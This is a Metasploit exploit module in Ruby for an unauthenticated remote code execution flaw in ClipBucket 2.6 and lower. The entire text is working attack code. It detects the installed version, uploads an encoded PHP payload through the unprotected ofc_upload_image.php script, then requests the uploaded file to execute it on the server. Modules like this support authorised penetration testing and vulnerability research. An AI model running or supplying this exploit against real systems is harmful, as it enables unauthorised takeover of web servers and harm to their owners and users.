ClipBucket Remote Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "ClipBucket Remote Code Execution",  
'Description' => %q{  
This module exploits a vulnerability found in ClipBucket version 2.6 and lower.  
The script "/admin_area/charts/ofc-library/ofc_upload_image.php" can be used to  
upload arbitrary code without any authentication. This module has been tested  
on version 2.6 on CentOS 5.9 32-bit.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Gabby', # Vulnerability Discovery, PoC  
'xistence <xistence[at]0x90.nl>' # Metasploit module  
],  
'References' =>  
[  
[ 'URL', 'http://packetstormsecurity.com/files/123480/ClipBucket-Remote-Code-Execution.html' ]  
],  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['Clipbucket 2.6', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => "Oct 04 2013",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/'])  
], self.class)  
end  
  
def uri  
return target_uri.path  
end  
  
def check  
# Check version  
peer = "#{rhost}:#{rport}"  
  
print_status("#{peer} - Trying to detect installed version")  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, "")  
})  
  
if res and res.code == 200 and res.body =~ /ClipBucket version (\d+\.\d+)/  
version = $1  
else  
return Exploit::CheckCode::Unknown  
end  
  
print_status("#{peer} - Version #{version} detected")  
  
if version > "2.6"  
return Exploit::CheckCode::Safe  
else  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
peer = "#{rhost}:#{rport}"  
payload_name = rand_text_alphanumeric(rand(10) + 5) + ".php"  
  
print_status("#{peer} - Uploading payload [ #{payload_name} ]")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, "admin_area", "charts", "ofc-library", "ofc_upload_image.php"),  
'headers' => { 'Content-Type' => 'text/plain' },  
'vars_get' => { 'name' => payload_name },  
'data' => payload.encoded  
})  
  
# If the server returns 200 we assume we uploaded the malicious  
# file successfully  
if not res or res.code != 200 or res.body !~ /Saving your image to: \.\.\/tmp-upload-images\/(#{payload_name})/ or res.body =~ /HTTP_RAW_POST_DATA/  
fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")  
end  
  
register_files_for_cleanup(payload_name)  
  
print_status("#{peer} - Executing Payload [ #{uri}/admin_area/charts/tmp-upload-images/#{payload_name} ]" )  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, "admin_area", "charts", "tmp-upload-images", payload_name)  
})  
  
# If we don't get a 200 when we request our malicious payload, we suspect  
# we don't have a shell, either.  
if res and res.code != 200  
print_error("#{peer} - Unexpected response, probably the exploit failed")  
end  
  
end  
  
end`